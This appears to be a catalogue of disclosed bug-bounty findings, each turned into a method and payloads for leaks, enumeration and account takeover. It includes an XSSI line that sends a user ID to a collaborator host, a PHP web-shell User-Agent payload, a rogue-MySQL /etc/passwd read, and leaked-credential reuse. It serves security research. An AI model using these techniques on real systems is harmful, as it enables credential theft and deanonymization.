Root cause
An attacker page sets a Content-Security-Policy whose allow-list matches only one outcome of a cross-origin request (e.g. the logged-in redirect target); whether a CSP violation report fires reveals which branch the victim's authenticated request took, leaking login state/identity/authorization across origins.
Method
- Identify a target URL that redirects/resolves differently based on auth state or identity
- Serve an attacker HTML page with a CSP img-src allow-listing only one expected resolution and a report-uri to your server
- Embed an <img> pointing at the target
- If no report arrives the assertion held (e.g. user is X / logged in); if a report arrives it failed
Content-Security-Policy: default-src *; img-src calendar.google.com google.com www.google.com; report-uri /ib
<img src="https://calendar.google.com">
// logged-out -> redirect to accounts.google.com -> CSP violation report to /ib
// logged-in -> no redirect -> no report
Insight — CSP violation reports are a cross-origin oracle: any endpoint that changes destination based on session/identity/permission can be probed by allow-listing only one outcome and watching report-uri. Generalizes to 'is user logged in', 'is user X', 'does user have access to panel Y'.
Real-world example
Privacy 'hide from search' toggle not enforced on the search surface
◆ Info
Specimen #708696 · liberapay · none · 13 votes · resolved
Program liberapaySurface web
Root cause
A profile flagged private / hidden from search and listing is still returned by the site search (and autocomplete), because the privacy flag is not applied to the search index/query.
Method
- Set a profile to 'hide from search'/'prevent listing'
- As an unauthenticated user, search for the exact username
- Observe the hidden profile appears in results with a link to it
GET https://TARGET/search?q=<hidden-username>
-> hidden profile returned in 'Matching Usernames'
Insight — Privacy toggles must be tested on every secondary surface, not just the profile page: search, autocomplete/typeahead, sitemap, RSS/JSON feeds, API list endpoints, oEmbed, and 'people you may know'. A flag honored by the UI is often ignored by the search backend.
Real-world example
Exposed .git -> dump source -> pivot to public GitHub repo
◆ Info
Specimen #889293 · h1-ctf · none · 13 votes · resolved
Program h1-ctfSurface webChain exposed .git -> gitdumper -> config origin -> publiTag account-takeover
Root cause
A web root exposes the .git directory; dumping it recovers full source, and .git/config reveals the origin remote which turns out to be a public GitHub repository, giving the whole codebase (and any secrets in history).
Method
- Content-discover with ffuf and a good wordlist to find /.git/
- Dump the repo with GitTools gitdumper.sh
- Read .git/config for the origin URL; open it on GitHub in case the repo is public
- Review recovered source (and log endpoints like bp_web_trace.log) for creds and logic
ffuf -c -w fuzz.txt -u https://TARGET/FUZZ
./gitdumper.sh https://TARGET/.git/ outdir
# then read outdir/.git/config -> remote origin url -> check github.com
Insight — An exposed .git is both a source leak and a pivot: the remote URL in config can lead to a public mirror. Always dump it, then check whether the origin repo is public and mine commit history for secrets. Also fuzz for *.log request-trace files that store request bodies.
Real-world example
PHP full-path disclosure via array type juggling on a string param
◆ Info
Specimen #8090 · localize · none · 12 votes · resolved
Program localizeSurface web
Root cause
A PHP handler expects a scalar string but calls a string function (trim/strlen) on it; submitting the parameter as an array (name[]=) throws a type warning that includes the absolute filesystem path of the source file.
Method
- Find a POST parameter normally sent as a string (e.g. addGroup[name]=x).
- Convert it to an array by appending [] (addGroup[name][]=x).
- Server emits: 'Warning: trim() expects parameter 1 to be string, array given in /var/www/.../classes/Phrase.php on line 213'.
POST /pages/create_project/<ID>
CSRFToken=<TOKEN>&addGroup[name][]=new+group
Insight — Turn any string parameter into an array (append []) to trigger type-mismatch warnings that leak absolute paths and code structure; a cheap first probe for PHP webroot disclosure and error-based discovery.
Real-world example
Bulk UUID enumeration via invite-code signup response
◆ Info
Specimen #145150 · uber · awarded · 12 votes · resolved
Program uberSurface apiChain public invite code -> internal UUID enumeration
Root cause
The signup 'create' API echoes the inviter's internal UUID (inviter_uuid) in its response when a public promotion/invite code is supplied, turning public invite codes into a UUID oracle.
Method
- Collect public invite/promotion codes (they are shared openly).
- Send the signup create request with promotion_code set to a target's code.
- Read inviter_uuid from the JSON response.
- Bypass the per-device signup cap by rotating device-fingerprint fields (androidId, simSerial, imsi, googleAdvertisingId, signup_session_id) each request.
POST /signup/clients/create
{ ... "promotion_code":"<TARGET_INVITE_CODE>", ... }
# response leaks: "inviter_uuid": "a5efac50-b706-47c7-997d-c992b85095ee"
Insight — Any endpoint that returns a referrer/inviter object may leak that user's internal ID. Also: per-device/rate caps keyed on client-supplied fingerprint fields are trivially bypassed by rotating those fields.
Real-world example
WordPress REST API user/admin enumeration
◆ Info
Specimen #198012 · nextcloud · none · 12 votes · resolved
Program nextcloudSurface webChain user enumeration -> credential attack input
Root cause
WordPress 4.7+ exposes /wp-json/wp/v2/users unauthenticated, listing accounts (including administrators) with their slugs/login names.
Method
- Request the WP REST users endpoint on any WordPress 4.7+ site.
- Parse the JSON for names and slugs (the slug is usually the login username).
- Iterate ?per_page= and ?page= to page through all users.
GET /wp-json/wp/v2/users
GET /wp-json/wp/v2/users?per_page=100&page=1
Insight — On any WordPress target, hit /wp-json/wp/v2/users (and /?rest_route=/wp/v2/users) first to harvest valid usernames for password spraying and phishing.
Real-world example
Uninitialized-memory disclosure from ignored crypto return value under memory pressure
◆ Info
Specimen #142773 · torproject · awarded · 11 votes · resolved
Program torprojectSurface other
Root cause
16 call sites ignore the return value of OpenSSL i2d_RSAPublicKey (which allocates internally and can fail under memory shortage); on failure the destination digest/fingerprint buffer is left uninitialized and then used/transmitted, leaking stack/heap memory.
Method
- Audit for functions that call an internally-allocating API (i2d_RSAPublicKey) without checking len<0 / buf==NULL.
- Force the allocation to fail by exhausting memory (attacker-driven leak, large allocation, or ulimit).
- Observe that the output buffer retains its prior (uninitialized) contents and is subsequently consumed.
len = i2d_RSAPublicKey((RSA*)pk->key, &buf);
if (len < 0 || buf == NULL) return -1; // <-- missing at 16 sites
// PoC: exhaust memory (ulimit -Sv 500000) then call; digest keeps 'uninitialized mem..'
Insight — In C/C++ source review, flag every allocating-and-can-fail call whose return value is discarded when it writes to a to-be-transmitted buffer; memory-pressure turns them into uninitialized-memory disclosure primitives.
Real-world example
De-anonymize Tor Browser locale via localized error-page title (CVE-2019-13075)
◆ Info
Specimen #588239 · torproject · none · 11 votes · resolved
Program torprojectSurface webTag account-takeover
Root cause
Firefox/Tor error pages (empty-response plaintext viewer) render UI strings in the browser's real UI language; a parent page framing the error page can read the localized title attribute, defeating privacy.spoof_english=2.
Method
- Frame a resource that triggers the localized browser error/viewer page (server returns empty response)
- From the parent window, read the localized string in the framed document's <link ... title>
- Map the localized string back to the UI language
<!-- localized string leaks in the framed error page -->
<link rel="alternate stylesheet" ... title="長い行を折り返す">
Insight — Browser-generated chrome (error pages, PDF viewer, media controls) is localized to the true UI language even when the page spoofs Accept-Language/navigator.language. Frame such internal pages and read their localized strings as a locale oracle.
Real-world example
Mass email enumeration via signup endpoint response diff
◆ Info
Specimen #194721 · yelp · awarded · 10 votes · resolved
Program yelpSurface webTag account-takeover
Root cause
The /signup/facebook endpoint returns a distinguishable JSON response for already-registered vs unused emails, and it neither rate-limits nor invalidates reused CSRF tokens, so an attacker replays one captured request to test unlimited emails.
Method
- Capture a legitimate /signup/facebook request (cookies, post_csrf, csrftok, fb_access_token)
- Replay with different email= values
- Registered => associated_email:true / 'already registered'; unused => success:true
POST /signup/facebook
first_name=x&last_name=y&fb_access_token=T&email=TARGET&post_csrf=C&csrftok=CT&password=p&zip=00000
Insight — Signup/login/forgot endpoints leak account existence through response-body/field diffs; reusable CSRF tokens plus no rate limiting turn a one-off oracle into bulk enumeration. Compare full JSON bodies, not just status codes.
Real-world example
Exposed .git directory on webroot
◆ Info
Specimen #221298 · nextcloud · none · 10 votes · resolved
Program nextcloudSurface webTag supply-chain
Root cause
A deployed web directory ships its .git/ folder, so .git/config (and often the full object store) is fetchable, disclosing remotes, branches and enabling source reconstruction.
Method
- Request /.git/config on the target path
- If present, pull .git/HEAD, /logs/HEAD, and dump the object store with git-dumper
- Reconstruct source to find further secrets/vulns
curl https://TARGET/wp-content/themes/next/.git/config
# then: git-dumper https://TARGET/.git/ ./out
Insight — Always probe /.git/config (and .svn, .hg) on every path/subdir. Even when it only reveals a public repo URL, a fully-exposed .git store lets you reconstruct the exact deployed source and hunt for hardcoded secrets.
Real-world example
Password-reset token leak via Referer header to third-party links
◆ Info
Specimen #244434 · wakatime · none · 10 votes · resolved
Program wakatimeSurface webChain token-in-URL -> Referer leak to 3rd party -> reusable Tag account-takeover
Root cause
The reset token is placed in the URL path of the reset page, which contains outbound third-party links (social share buttons); clicking them sends the full reset URL in the Referer header to the third party, and the token is reusable.
Method
- Request a password reset and open the reset link (token in URL)
- Before resetting, click a third-party link on the page (e.g. Twitter share in the footer)
- The reset URL (with token) is sent as Referer to the third party; capture and reuse it
GET /WakaTime HTTP/1.1
Host: twitter.com
Referer: https://wakatime.com/reset_password/4b4e9757-.../.../eb4f3b81...
Insight — Any secret placed in a URL (reset/verify/invite tokens) leaks via the Referer header to every third-party resource/link on that page, and via analytics. Check for outbound links/embeds on token-bearing pages; reusable tokens make the leak fatal.
Real-world example
Predictable S3 export URLs + auth API team-info leak
◆ Info
Specimen #2746 · slack · none · 9 votes · resolved
Program slackSurface webChain auth.start info leak -> reconstruct S3 export path -> Tag cloud-aws
Root cause
Data-export files live at deterministic public S3 paths built from team_id, team name and date; an unauthenticated API (auth.start) leaks the team_id and name, so an attacker can reconstruct and brute-force export URLs by date.
Method
- POST an email to /api/auth.start to leak team_id and team name
- Build the export URL template from team_id/name/date
- Enumerate dates and fetch each candidate URL from the public S3 bucket
- Download any export that returns 200
POST /api/auth.start
email=victim@example.com
-> {"users":[{"team":"HackerOne","team_id":"T0254389F"}]}
http://s3-...amazonaws.com/slack-files2/<team_id>/export/<YYYY-MM-DD>/<Name>%20Slack%20export%20<Mon%20D%20YYYY>.zip
Insight — Sensitive files on object storage must use random/unguessable keys or signed, short-lived URLs - never 'public + guessable path'. Always pair with hunting for any endpoint that leaks the IDs needed to reconstruct the path.
Real-world example
Private-program data leak via guessable handle + activities.json
◆ Info
Specimen #116029 · security · awarded · 9 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A public JSON endpoint (/<handle>/activities.json) returns activity data for programs whose handle is guessable, exposing whether a private bug-bounty exists plus resolved counts, thanked-hacker usernames and potentially bounty amounts.
Method
- Guess an org handle (usually the company name)
- Request /<handle>/activities.json
- Read leaked private-program signals: resolved report count, thanked hackers, bounty hints
GET https://hackerone.com/<handle>/activities.json
Insight — For any resource with a per-object page, probe the .json/.xml/feed variant - it frequently returns more (or less access-controlled) data than the HTML view, leaking existence and metadata of otherwise-hidden objects.
Real-world example
Verification token & password hash leaked in authenticated API response
◆ Info
Specimen #163467 · legalrobot · awarded · 9 votes · resolved
Program legalrobotSurface webChain excessive data exposure -> verification bypass (email/phoTag account-takeover
Root cause
An authenticated response (user object serialized from the DB) over-exposes internal fields including the email/phone verification token and the password hash, so a user can read their own token and self-verify any email/phone, and the hash leak weakens the account.
Method
- Log in and capture the API/page response that returns the user object
- Search the JSON for sensitive fields: emailToken/verificationCode, password hash
- Replay the verification endpoint using the leaked token to verify an arbitrary email/phone without receiving the message
- Note the leaked password hash as additional exposure
// leaked in response body:
"verificationCode":"230139" // -> verify any phone
// plus email verification token and password hash present
Insight — Always diff serialized user/object responses against what the UI needs. Over-serialization leaking verification tokens = email/phone-verification bypass; leaking password hashes = offline cracking exposure. Grep responses for token/hash/secret fields.
Real-world example
Password-reset token leaked via Referer to third-party host
◆ Info
Specimen #303322 · coursera · none · 9 votes · resolved
Program courseraSurface webChain Referer token leak -> attacker uses reset token to set neTag account-takeover
Root cause
The password-reset confirmation page loads third-party resources (analytics/ads) and contains outbound links; the full reset URL (with token) is sent in the Referer header to those external hosts.
Method
- Request password reset, open the reset-confirm link
- Proxy the page; observe requests to third-party hosts (e.g. bat.bing.com)
- The Referer header of those requests contains the full reset URL including the token
GET /action/0?...&p=https%3A%2F%2Fwww.TARGET%2Freset%2Fconfirm%2F<TOKEN> HTTP/1.1
Host: bat.bing.com
Referer: https://www.TARGET/reset/confirm/<TOKEN>?utm_source=...
Insight — On any page reachable via an emailed secret link (reset, invite, magic-login), check whether the token sits in the URL and whether the page makes any cross-origin request or has outbound links. Missing Referrer-Policy leaks the token to third parties -> CSRF-style password reset by whoever controls that host/logs.
Real-world example
Sensitive search query / PII leaked to third-party analytics
◆ Info
Specimen #280770 · security · none · 9 votes · resolved
Program securitySurface webChain sensitive URL -> GA collect dl param -> third-party PI
Root cause
The full page URL (including a text_query param containing private report content, report IDs, and team filters, potentially PII) was posted to Google Analytics in the 'dl' (document location) field, exfiltrating sensitive query data to a third party.
Method
- Perform a sensitive search whose terms land in the URL (text_query, reported_to_team, report_id)
- Open the browser network tab and watch requests to www.google-analytics.com/collect
- Observe the sensitive URL reflected URL-encoded in the dl parameter of the GA payload
POST https://www.google-analytics.com/collect
...&dl=https%3A%2F%2FTARGET%2Fbugs%3Ftext_query%3DSENSITIVE_TERM%26reported_to_team%3Dsecurity...
Insight — Any secret placed in a URL (search terms, tokens, IDs) leaks to every analytics/ads/tag script and via Referer to third parties. Audit outbound requests to analytics/marketing hosts for query text, PII, tokens; fix by redacting params client-side or keeping secrets out of the URL.
Real-world example
Credential theft via unprotected Android implicit broadcast
◆ Info
Specimen #56002 · shopify · awarded · 8 votes · resolved
Program shopifySurface mobile-androidChain implicit broadcast eavesdrop -> steal cookie/access_tokenTag account-takeover
Root cause
The Android app relays every API response internally using an implicit broadcast (action com.shopify.service.requestComplete) with no permission; any installed app can register a receiver for that action and silently capture cookies, access_token and full response bodies.
Method
- Reverse the app to find the broadcast action used to pass API responses (NetworkService -> RequestCompletionBroadcastReceiver)
- In a malicious app, register a receiver for that action (no special permission, no root)
- Let the victim use the target app; harvest the broadcast extras
- Read cookie + access_token from logcat/extras and take over the account
<receiver android:name=".Sniffer">
<intent-filter><action android:name="com.shopify.service.requestComplete"/></intent-filter>
</receiver>
// adb logcat -s SHOPIFYHACK:V (PoC dumps stolen cookie/access_token)
Insight — Android apps that broadcast sensitive data with implicit (non-permission-protected) Intents leak it to every app on the device. Audit sendBroadcast() calls for tokens/PII; fix with LocalBroadcastManager or a signature-level permission. Look for exported components + implicit broadcasts during mobile recon.
Real-world example
Unauthenticated staging instance with verbose errors leaks source/env
◆ Info
Specimen #157876 · shopify · awarded · 8 votes · resolved
Program shopifySurface webTag account-takeover
Root cause
A staging instance was exposed without authentication and, with verbose error reporting enabled, any triggered error (e.g. an unreachable MySQL host) returned full stack traces revealing source file paths, gem versions and environment details.
Method
- Find a staging/preview host (e.g. via cert transparency, IP ranges, host header)
- Trigger an application error (unresolvable DB host, bad input)
- Read the verbose error page: source paths, framework/gem versions, internal hostnames
GET https://STAGING_IP/
-> stack trace: lib/patches/mysql_monitoring.rb, app/models/shop.rb, gem versions, internal host shardm-reader.chi2.shopify.io
Insight — Hunt for staging/preview/QA instances (cert transparency, IP sweeps, host-header fuzzing) and force errors; debug mode there routinely leaks source, dependency versions (for CVE targeting) and internal infra names. Non-prod hosts frequently lack the auth and hardening of prod.
Real-world example
Sensitive form field leaks via missing autocomplete=off on shared machines
◆ Info
Specimen #263 · security · none · 8 votes · resolved
Program securitySurface web
Root cause
A sensitive input (report title) lacked autocomplete=off, so the browser cached and later suggested a prior authenticated user's value to the next user of the same browser after logout.
Method
- Log in, enter sensitive data into a form field, submit, log out
- As a different user on the same browser, focus the same field
- Browser autocomplete suggests the previous user's value
<!-- vulnerable --> <input name="title">
<!-- fixed --> <input name="title" autocomplete="off">
Insight — Audit sensitive/private fields (titles, tokens, PII, search) for missing autocomplete=off/new-password; on shared/kiosk machines browser autofill becomes a cross-user disclosure. Low severity but a quick, reproducible finding.
Real-world example
Email-to-PII oracle via tampered chat customer-creation flag
◆ Info
Specimen #1018336 · shopify · awarded · 8 votes · resolved
Program shopifySurface apiTag account-takeover
Root cause
Shopify Chat's storefront message API, when skip_customer_creation is flipped from true to false, resolves the supplied email to an existing customer and returns their full name in conversations.name - turning the chat widget into an email->PII lookup.
Method
- Open the store chat unauthenticated: https://{shop}.myshopify.com/?chat
- Start an order-status flow and submit the target email plus any order number
- Intercept the POST to /api/storefront/conversations/{id}/messages and set skip_customer_creation to false
- Read the subsequent conversation fetch: conversations.name = target customer's full name
POST /api/storefront/conversations/{id}/messages
{"message":{"content":{"text":"My email is target@example.com."},"automated":true,"group":"customer"},"skip_customer_creation":false}
Insight — Boolean/behavior flags in client-sent JSON (skip_customer_creation, is_guest, create_if_missing) often gate whether the backend links to an existing record - flip them and watch for enriched responses that confirm-or-reveal PII for an attacker-supplied identifier (email/phone). A classic account/PII enumeration oracle.
Real-world example
Public WordPress debug.log -> log poisoning path to RCE
◆ Info
Specimen #60058 · udemy · awarded · 7 votes · resolved
Program udemySurface webChain exposed debug.log -> User-Agent poisoning -> (with LFI
Root cause
WP_DEBUG_LOG leaves a world-readable wp-content/debug.log that records request data (including User-Agent); leaking PII and providing a poisonable sink if the log can later be included/executed.
Method
- Request /wp-content/debug.log directly
- Confirm it stores request-derived values (IPs, emails, User-Agent)
- If a LFI exists, poison the log via a crafted User-Agent to reach code execution
GET /wp-content/debug.log HTTP/1.1
# poison attempt:
User-Agent: <?php system($_GET['c']); ?>
Insight — Always fetch /wp-content/debug.log, error_log, and framework debug logs; they leak PII and are the classic second half of an LFI->RCE log-poisoning chain because they store attacker-controlled headers.
Real-world example
Trigger a framework 500 by stripping the CSRF token to dump a Java stack trace
◆ Info
Specimen #41469 · enter · awarded · 7 votes · resolved
Program enterSurface web
Root cause
Removing the _csrf token from a POST drove Spring Security into an unhandled IllegalStateException; the app returned a default Jetty 500 page with the full framework stack trace, disclosing Spring Security/Jetty versions and internal filter chain.
Method
- Take a state-changing POST and delete the CSRF token field.
- The mishandled error returns HTTP 500 with a full Java stack trace (Spring Security filter chain, Jetty version).
POST /settings HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
nickname=NAME&email=email%40gmail.com¤cy=RUB&
# (note: _csrf token omitted) -> 500 with java.lang.IllegalStateException stack trace
Insight — To fish for verbose errors, send malformed variants: drop CSRF tokens, break Content-Type, send arrays where scalars are expected, oversized/negative numbers. Frameworks that don't map every exception to a clean error page leak stack traces revealing exact library versions to target with CVEs.
Real-world example
Privacy toggle fails to override language settings, enabling browser fingerprinting
◆ Info
Specimen #2123957 · torproject · 200 · 7 votes · resolved
Program torprojectSurface desktop
Root cause
Enabling Tor Browser's 'Request English versions for enhanced privacy' greyed out but did not actually reset the user's prior language configuration, so navigator.language(s) and the Accept-Language header still exposed the non-default languages - a de-anonymizing fingerprint.
Method
- Change/reorder browser languages, then enable the English-only privacy setting.
- Read navigator.language / navigator.languages via JS and the Accept-Language header server-side.
- The prior custom languages still leak, distinguishing this user from the default population.
// JS fingerprint
navigator.languages
// HTTP header still leaks:
Accept-Language: ab,en-US;q=0.7,en;q=0.3
Insight — For anonymity/privacy tools, test whether a privacy toggle actually enforces the safe default or just hides the old value in the UI. Language (navigator.languages + Accept-Language) is a high-entropy fingerprinting vector even with JS disabled, because the header ships on every request.
Real-world example
Hidden-resource enumeration via 500-vs-404 differential on a side endpoint
◆ Info
Specimen #32990 · security · none · 6 votes · resolved
Program securitySurface webTag account-takeover
Root cause
The main program page returned 404 for uninvited users (hiding existence), but a secondary JSON endpoint returned HTTP 500 for existing programs and 404 for non-existent ones, leaking existence of private/invite-only programs.
Method
- Request the primary path -> 404 whether or not the private resource exists (looks safe)
- Request a secondary/related endpoint (e.g. /<name>/common_responses.json)
- Existing program -> 500 Internal Server Error; non-existent -> 404. Automate over a wordlist of candidate handles
GET /<company>/common_responses.json HTTP/1.1
Host: hackerone.com
# 500 => program exists (public or private/invited)
# 404 => does not exist
Insight — When a primary endpoint hides existence uniformly, probe sibling/secondary endpoints for the same object: error-code and length differentials (500 vs 404, auth vs not-found) often leak existence the main page tried to conceal. Enumerate access-controlled resources through their least-hardened related route.
Real-world example
Full path disclosure via malformed session cookie
◆ Info
Specimen #7736 · concretecms · none · 6 votes · resolved
Program concretecmsSurface webChain FPD -> enables SQLi load_file/INTO OUTFILE or LFI targeti
Root cause
Supplying an illegal session-id value in the app's session cookie makes PHP's session_start() emit a warning containing the absolute filesystem path of the script.
Method
- Set the app session cookie (e.g. CONCRETE5) to a value with illegal chars or excessive length
- Request / , /index.php or a captcha endpoint
- Read the PHP warning revealing /home/<user>/public_html/.../session.php
Cookie: CONCRETE5=<<<illegal_chars_or_>64_chars>>>
# -> Warning: session_start(): The session id is too long or contains illegal characters ... in /home/enterpri/public_html/.../session.php on line 36
Insight — When you need the webroot path to weaponize LFI or SQLi load_file()/INTO OUTFILE, poison the framework session cookie with an invalid id to force a verbose PHP error that leaks the absolute path.
Real-world example
Markdown cross-reference leaks private-project metadata + MR ID enumeration
◆ Info
Specimen #133717 · gitlab · none · 6 votes · resolved
Program gitlabSurface webChain MR target_project_id ID-enumeration -> full namespace/pro
Root cause
The GitLab Flavored Markdown renderer resolves cross-project references (project#1) even when the referencing user lacks access, rendering a link built from the private project's external issue-tracker URL; a separate merge-request controller reflects any target_project_id's namespace/name, enabling full ID enumeration.
Method
- As an unauthorized user create an issue whose body is 'victimnamespace/secretproject#1'
- The rendered body contains a link exposing the private project's external (e.g. Jira) tracker URL
- Enumerate all projects: open a new merge request and iterate merge_request[target_project_id] - response HTML leaks each project's namespace+name
- Feed enumerated names into markdown '#1' references to mass-extract external tracker URLs
# leak external tracker URL of a private project:
issue body: root/secret#1
# enumerate all namespaces/project names:
GET /jane/project/merge_requests/new?change_branches=true&merge_request%5Bsource_branch%5D=fix&merge_request%5Bsource_project_id%5D=20&merge_request%5Btarget_branch%5D=master&merge_request%5Btarget_project_id%5D=24
Insight — Markdown/reference renderers that resolve links to objects the viewer can't see are an oracle for existence and metadata of private resources. Combine with any endpoint that echoes an object's name for a chosen numeric ID to turn a single-object leak into a bulk enumeration.
Real-world example
Cross-origin script inclusion (XSSI) of user-specific service-worker JS
◆ Info
Specimen #139192 · bumble · awarded · 6 votes · resolved
Program bumbleSurface webTag cors
Root cause
A JS/service-worker file (chrome-service-worker.js?ws=1) embeds the currently-logged-in user's id as executable JS; because it is served without anti-XSSI protection it can be loaded via <script src> from any origin, deanonymizing the visitor.
Method
- Host an attacker page that includes the target's user-scoped JS via <script src>
- On load, read the global variable the script defines (the victim's user_id)
- Exfiltrate the id to the attacker server to link the visitor to their account
<script src="https://TARGET/worker-scope/chrome-service-worker.js?ws=1"></script>
<script>new Image().src='//COLLAB/?victim='+user_id.split('=')[0]</script>
Insight — Any endpoint that returns JavaScript (or JSONP-like/service-worker scripts) containing per-user data is vulnerable to XSSI: pull it cross-origin with <script src> and read the leaked globals to deanonymize logged-in visitors. Look for *.js responses that vary by session cookie.
Real-world example
Referral/invite-code lookup endpoint leaks inviter PII
◆ Info
Specimen #178503 · uber · awarded · 6 votes · resolved
Program uberSurface api
Root cause
A join/referral endpoint that accepts an invite_code returns the referring user's email and/or phone number, exposing PII to anyone who supplies (or enumerates) a code.
Method
- Find the invite/referral join endpoint (e.g. /a/join?invite_code=CODE)
- Supply a known or enumerated invite code
- Observe the response leaking the inviter's email/phone
GET /a/join?invite_code=INVITECODE
# response includes email and/or phone of the user who owns the code
Insight — Referral, invite, share and unsubscribe links keyed on a short/enumerable token frequently over-return the owning user's PII. Always fuzz the token and diff the response for email/phone fields.
Real-world example
Secret token in URL leaked via Referer / search-engine cache
◆ Info
Specimen #6884 · irccloud · USD 100 · 5 votes · resolved
Program irccloudSurface webChain Referer/search-cache disclosure of reset token -> accountTag account-takeover
Root cause
The password-reset token is carried in the URL, so when the reset page loads external resources or the user clicks an outbound link, the full reset URL (token) is sent in the Referer header; the same class of secret-in-URL is also indexed/cached by search engines.
Method
- Load the reset-password page whose URL contains the token
- Click any external link (or load any third-party resource) on that page
- The token-bearing URL is disclosed to the third party via the Referer header, enabling account takeover
GET /reset?token=SECRET -> page contains <a href="https://external"> -> Referer: https://site/reset?token=SECRET sent to external host
Insight — Never put reset/auth/session tokens in the URL. To test: load a token-bearing page and inspect outbound requests' Referer, and Google-dork the token param (site:target inurl:token=). Fixes are noindex/nofollow + Referrer-Policy + moving the secret out of the query string.
Real-world example
Privacy/block bypass via unprotected sibling API method
◆ Info
Specimen #111417 · vkcom · awarded · 4 votes · resolved
Program vkcomSurface api
Root cause
Two API methods expose the same underlying data but only one enforces the privacy/block check. likes.getList rejects a blocked user, but the sibling likes.isLiked returns the boolean anyway, disclosing whether a specific user liked a post despite the block.
Method
- Identify a data set exposed by multiple API methods (a list method and a check/boolean method).
- Confirm the list method enforces the access/privacy control (blocked user gets an error).
- Query the boolean sibling method (isLiked) with owner_id, item_id, user_id -> still returns liked:1.
GET https://vk.com/dev/likes.isLiked?owner_id=OWNER&item_id=POSTID&user_id=TARGET
// returns {"liked":1} even after TARGET is blocked, while likes.getList errors
Insight — When one endpoint enforces authz/privacy, enumerate its siblings (get/list vs isX/check/count/exists). Checker and aggregate endpoints are routinely forgotten by the access-control layer.
Real-world example
Source/config file served as download (wp-config.php disclosure)
◆ Info
Specimen #6491 · c2fo · none · 4 votes · resolved
Program c2foSurface webChain config disclosure -> DB credential reuse
Root cause
Web server (or a fallback vhost) serves .php files as static downloads instead of executing them, exposing wp-config.php with plaintext database credentials.
Method
- Request known sensitive PHP/config files directly: /wp-config.php, /.htaccess, /wp-login.php.
- If the file downloads as text instead of executing, read DB_NAME/DB_USER/DB_PASSWORD/DB_HOST.
- Reuse the leaked DB credentials against any reachable DB port.
GET https://TARGET/wp-config.php
# returns raw:
# define('DB_NAME','wp_c2fo');
# define('DB_USER','c2fo');
# define('DB_PASSWORD','...');
# define('DB_HOST','127.0.0.1');
Insight — On WordPress/PHP targets always probe wp-config.php, .env, .htaccess, config.php.bak directly; a 403-on-root site may still hand back raw source when PHP execution is misrouted (wrong vhost, php handler disabled).
Real-world example
PHP Full Path Disclosure via array-type parameter injection
◆ Info
Specimen #7888 · localize · none · 4 votes · resolved
Program localizeSurface webChain FPD -> absolute path feeds LFI / log poisoning; #7972 exp
Root cause
Passing an array where PHP expects a string makes built-ins like trim()/unserialize() emit a warning containing the absolute filesystem path (and sometimes the vulnerable line/function), because display_errors is on.
Method
- Take any string parameter in a GET/POST form.
- Convert it to an array by appending [] (param[]=x) or supply nested arrays (sign_in[username][]=test).
- Submit; read the PHP Warning/Notice in the response body for the absolute path and file/line.
POST / HTTP/1.1
Host: TARGET
sign_in[username][]=test&sign_in[password][]=test
// -> Warning: trim() expects parameter 1 to be string, array given in /var/www/.../index.php on line 732
// variant: any_param[]=x -> same FPD
// variant: malformed cookie -> Cookie: PHPSESSID=abc]]>> triggers Undefined index notice w/ path (#7930)
Insight — Array-inject every parameter (param[]=) to force type-error warnings; the leaked absolute path seeds LFI/log-poisoning/deserialization targeting. Also probe directly-loaded framework includes (e.g. wp-includes/rss-functions.php, #8780) which fatal-error with the path when called out of context.
Real-world example
Secret/CSRF token in URL leaked to third parties via Referer
◆ Info
Specimen #76733 · zaption · awarded · 4 votes · resolved
Program zaptionSurface webTag cors
Root cause
Login uses a GET request that places the CSRF token (and credentials) in the URL query string; the browser then sends that full URL in the Referer header to every third-party resource (analytics, CDN, tag pixels) loaded on the page.
Method
- Find state-changing/auth actions performed via GET with sensitive params in the query string.
- Load the page and inspect outbound requests to third-party hosts (analytics/CDN/error trackers).
- Confirm the Referer header of those requests contains the token/credential.
# vulnerable pattern:
GET /login?username=U&password=P&csrf_token=TOKEN
# leaks to Referer of requests to:
# ssl.google-analytics.com, api.mixpanel.com, bam.nr-data.net, *.cloudfront.net, usage.trackjs.com
Insight — Never put tokens/secrets in URLs. When auditing, watch DevTools Network for Referer headers sent to external origins; any secret in the query string leaks to every third-party script, CDN and referrer-logging endpoint.
Real-world example
HTTP status-code oracle to enumerate hidden resource state
◆ Info
Specimen #118965 · security · awarded · 4 votes · resolved
Program securitySurface web
Root cause
Different backend states return distinguishable status codes on unauthenticated endpoints, so the response code itself becomes an oracle that leaks otherwise-private classification (e.g. whether a HackerOne handle runs a hidden private program).
Method
- Find an unauthenticated endpoint whose response varies by hidden state (here /HANDLE/thanks/YEAR.json).
- Build a truth table of status codes across known entity types (401/500/200/404).
- Query unknown handles and classify them by matching the code pattern.
GET https://hackerone.com/HANDLE/thanks/2012.json -> 500
GET https://hackerone.com/HANDLE/thanks/2013.json -> 401
// (500,401)=EP program ; (401,401)=Private ; (500,200)=Public ; (404,404)=User
// variant (#124611): GET /HANDLE/thanks -> 200 w/ demo thanks page => handle hosts a hidden private program
Insight — Response codes, error pages and subtle body differences on public JSON/API endpoints leak private metadata even when the data itself is hidden. Build a per-state truth table across sibling endpoints/years to turn small diffs into an enumeration oracle.
Real-world example
Rogue MySQL server arbitrary file read via LOAD DATA LOCAL INFILE
◆ Info
Specimen #156511 · ibb · none · 4 votes · resolved
Program ibbSurface otherChain arbitrary-DB-connect / SSRF -> rogue MySQL -> arbitrar
Root cause
In the MySQL/MariaDB client protocol the SERVER decides which local file the client uploads for LOAD DATA LOCAL INFILE (the 0xFB request-file packet). A malicious server can request any path, so any client that connects to an attacker-controlled MySQL host discloses local files.
Method
- Find a feature that connects to an attacker-specified MySQL host (phpMyAdmin AllowArbitraryServer, Adminer, DB-connect wizards, or SSRF to a MySQL port).
- Run a rogue MySQL server that accepts any auth and, on any query, sends a 0xFB file-request packet naming the target file.
- Read the client-uploaded file contents from the rogue server log.
# FB (request-file) packet naming the file the client will send back:
0c 00 00 01 fb 2f 65 74 63 2f 70 61 73 73 77 64 # 'fb' + /etc/passwd
# ready-made rogue server:
# https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
# point phpMyAdmin/Adminer at attacker_host:3306 and read /etc/passwd from its log
Insight — Any 'connect to arbitrary DB host' functionality (or SSRF into a MySQL port) is a client-side file-read primitive - run a rogue MySQL server and reply with the FB packet. Client-side LOCAL INFILE must be disabled to defend.
Real-world example
Recon to source/secret disclosure methodology (git history, backups, JS diff, LFI)
◆ Info
Specimen #1065468 · h1-ctf · none · 4 votes · resolved
